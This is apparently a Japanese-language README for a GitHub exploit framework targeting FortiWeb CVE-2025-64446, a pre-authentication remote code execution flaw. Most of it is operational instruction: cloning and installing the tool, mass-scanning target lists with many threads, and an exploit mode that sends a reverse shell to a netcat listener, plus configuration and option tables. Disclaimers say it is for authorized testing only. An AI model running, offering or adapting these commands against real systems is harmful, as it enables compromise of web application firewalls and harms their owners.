
FortiWeb の CVE-2025-64446 脆弱性に対応したセキュリティ研究ツール。高度なロギング、リアルタイムメトリクス、プロキシデバッグ、プロフェッショナルなレポート出力を備えた自動化エクスプロイトフレームワークです。リトライロジック、マルチスレッド、設定可能なオプションを含みます。許可されたセキュリティテスト専用です。CVSS 9.8 緊急。
プロフェッショナルなセキュリティ研究・脆弱性評価フレームワーク
FortiWeb Research Tool は、FortiWeb Web Application Firewall アプライアンスに影響する重大な事前認証リモートコード実行の脆弱性 CVE-2025-64446 を、認可された検出と分析の対象とする Python 評価フレームワークです。
| 属性 | 詳細 |
|---|---|
| 作者 | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8(重大) |
| クラス | 認証バイパス + パストラバーサル → 任意ファイルアップロード → RCE |
| 影響を受けるバージョン | 7.6.7 / 7.8.7 / 8.0.2 より前のビルド(公式アドバイザリで確認してください) |
| 対策 | パッチ適用済みの FortiWeb リリースにアップグレード |
| 言語 | Python 3.7+ |
| エントリーポイント | exploit.py |
エンゲージメントの範囲を決定する前に、影響を受けるバージョンと修正済みバージョンを必ず Fortinet PSIRT で確認してください。
| 使用例 | スキャン結果 |
|---|---|
![]() | ![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| パッケージ | 役割 |
|---|---|
requests, |
任意(開発用): pytest、black、flake8、mypy、python-dotenv — requirements.txt を参照してください。
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
注記: エクスプロイトモードでは
--lhostが必要です。完全なチェーンを実行する予定がない場合は、--detect-onlyまたは--safe-modeを使用してください。
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
検出モードは、到達可能性、バージョンヒント、API 露出、パストラバーサルの兆候、認証バイパスのシグナル、アップロードエンドポイントの到達性を評価します。これらの指標から、リスクは重大 / 高 / 中 / 低に分類されます。
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager はスレッドプールを介して FortiWebScanner ワーカーを実行し、Rich のサマリーテーブルを表示して、scan_report.json / scan_report.html を書き出します。
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
CLI フラグは YAML から読み込まれた値を上書きします。
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| コンポーネント | 役割 |
|---|---|
FortiWebScanner | 到達可能性、バージョン、CVE インジケーターチェック |
ScannerManager | 並列スキャン、JSON/HTML 集計、サマリーテーブル |
単一ターゲットの高レベルのフロー:
reports/ 配下に JSON + HTML レポートを出力exploit.log、errors.log、requests.log--threads)--no-verify)reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
python3 exploit.py [OPTIONS]
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
--detect-only / --safe-mode を再実行して、修復を検証してください。このツールは、認可されたセキュリティテスト、研究、教育のみを目的としています。
本ソフトウェアを使用することにより、あなたが認可を得ていること、誤用しないこと、および自身の行動に対する全責任を負うことを確認したことになります。作者は誤用について一切責任を負いません。
このプロジェクトに関連する脆弱性の非公開報告については、SECURITY.md を参照してください。
git checkout -b feature/your-change変更は認可されたラボ環境でのみ検証し、実在するターゲットデータ、Cookie、認証情報をコミットしないようにしてください。
MIT ライセンス — LICENSE を参照してください。
Copyright (c) 2026 Sudeepa Wanigarathna
| 作者 | Sudeepa Wanigarathna |
| イシュー | このリポジトリの GitHub Issues |
| セキュリティ | SECURITY.md を参照 · [email protected] |
認可された研究のみ · FortiWeb CVE-2025-64446
| モード | フラグ | 目的 |
|---|
| 検出 | --detect-only | 悪用を伴わない脆弱性インジケーター |
| セーフ / 読み取り専用 | --safe-mode | 状態を変更するエクスプロイト手順をスキップ |
| 大量スキャン | --targets + --scan-mode | 並列でのマルチターゲット評価 |
| エクスプロイト | --target + --lhost | 認可されたラボ環境のみで制御されたチェーンを実行 |
| ドライラン | --dry-run | 変更を適用せずにフローを実行 |
| レポート | --output-dir | JSON + HTML のエンゲージメントレポート |
| 項目 | 値 |
|---|
| CVE ID | CVE-2025-64446 |
| CVSS スコア | 9.8(重大) |
| 影響 | 悪用に成功した場合、システム全体が侵害される |
| 修正 | 7.6.7、7.8.7、8.0.2 以降にアップグレード |
| HTML 出力 |
|---|
![]() |
urllib3| HTTP クライアント |
rich, colorama, tqdm | ターミナル UI と進捗表示 |
pyyaml | config.yaml の読み込み |
FortiWebExploit | 設定駆動のセッション、リトライ、メトリクス、レポート、オプションのエクスプロイトパス |
LogManager | 構造化ファイルログとカラーコンソール |
| オプション | 説明 |
|---|
--target URL | 単一の FortiWeb ベース URL |
--targets FILE | 改行区切りのターゲットリスト |
--lhost IP | リスナーホスト(エクスプロイトに必須) |
--lport PORT | リスナーポート(デフォルト: 4444) |
--config FILE | YAML 設定ファイル |
--detect-only | 検出のみ。エクスプロイトチェーンをスキップ |
--scan-mode | マルチターゲットスキャン(--targets が必要) |
--safe-mode | 読み取り専用。状態を変更する手順をスキップ |
--dry-run | 変更を適用しないドライラン |
--timeout SEC | リクエストタイムアウト(デフォルト: 15) |
--threads N | スキャンワーカー数(デフォルト: 5) |
--proxy URL | HTTP プロキシ |
--user-agent STR | カスタム User-Agent |
-v, --verbose | 詳細なログ / コンソール出力 |
--no-verify | TLS 証明書の検証を無効化 |
--output-dir DIR | レポートディレクトリ(デフォルト: reports) |
--log-dir DIR | ログディレクトリ(デフォルト: logs) |
-h, --help | ヘルプを表示 |